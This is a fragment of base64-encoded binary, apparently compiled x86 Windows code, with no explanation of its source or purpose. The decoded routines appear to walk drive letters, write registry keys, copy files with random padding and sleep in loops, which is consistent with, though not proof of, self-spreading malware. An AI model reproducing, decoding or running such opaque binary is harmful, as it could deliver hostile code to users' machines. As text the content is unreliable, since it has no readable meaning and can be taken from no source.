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 5P//jYX0/v//UOh5/f//D76F9P7//4qd9v7//1DobhkAAIPEHINl+ACIRf+KRfgEYTpF/3Q8 gKX2/v//AIiF9P7//42F9P7//1D/FczQQACD+AOInfb+//91F/91CI2F9P7//2iuYEAAUOhv 3f//g8QM/0X4g334GnyxM8BbycIEAFZohQlBAP90JBDogRUAAIt0JBBW6GcWAACDxAwzyYXA fguAPDFAdAVBO8h89Ug7yHwEM8Bew41EMQFQ/3QkEOhcFQAAWVlqAVhew1WL7IHsFAIAAIA9 1DJJAABWD4SbAAAAgD3QMUkAAA+EjgAAAIN9EACLdQh0ElboA7b///91DFbo0sD//4PEDGpk aAABAABqGWjUMkkAjY3s/f//6NjJ//9qBGoKjUWcagNQ6L3U//+DxBCNRZyNjez9//9Q6DvO //+DxmSNjez9//9W6OrO//9o0DFJAI2N7P3//+gxzv//jY3s/f//6MTK//+FwHQQjY3s/f// 6FDK//8zwF7Jw/91DOh2FQAAWVCNjez9////dQzo9Mr//42N7P3//4vw6CbK//8zwIX2D5TA 689Vi+yB7BgDAABWi3UIjYXo/P//UFbotv7//1mFwFl1BzPA6boAAACDfRAAdBJW6B61//// dQxW6O2///+DxAxqZGgAAQAAjYXo/P//ahlQjY3s/f//6PHI//9qBGoKjUWcagNQ6NbT//+D xBCNRZyNjez9//9Q6FTN//+NRmSNjez9//9Q6APO//9WjY3s/f//6E7N//+Njez9///o4cn/ /4XAdBCNjez9///obcn//+lr/////3UM6JMUAABZUI2N7P3///91DOgRyv//jY3s/f//i/Do Q8n//zPAhfYPlMBeycNVi+yB7AAIAACApQD4//8AgKUA/P//AI2FAPj//1D/dQjoxv3//42F APz//1D/dQzot/3//42FAPz//1CNhQD4//9Q6ARlAACDxBj32BvAQMnDg+wQVVZXg0wkGP+9 ABAAAGoBVb7U8EAA/3QkKDP/iXwkIFbops///4PEEIXAD4XvAAAAV1boTtD//1k7x1mJRCQQ D46yAAAAUzPbhf+JXCQQfjNTVuj+z///WVlQV1bo9M///1lZUOhC////WYXAWXQIx0QkEAEA AABDO9981IN8JBAAdUxqAY1fATtcJBhYiUQkEH0uU1bou8///1lZUFdW6LHP//9ZWVDo//7/ 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 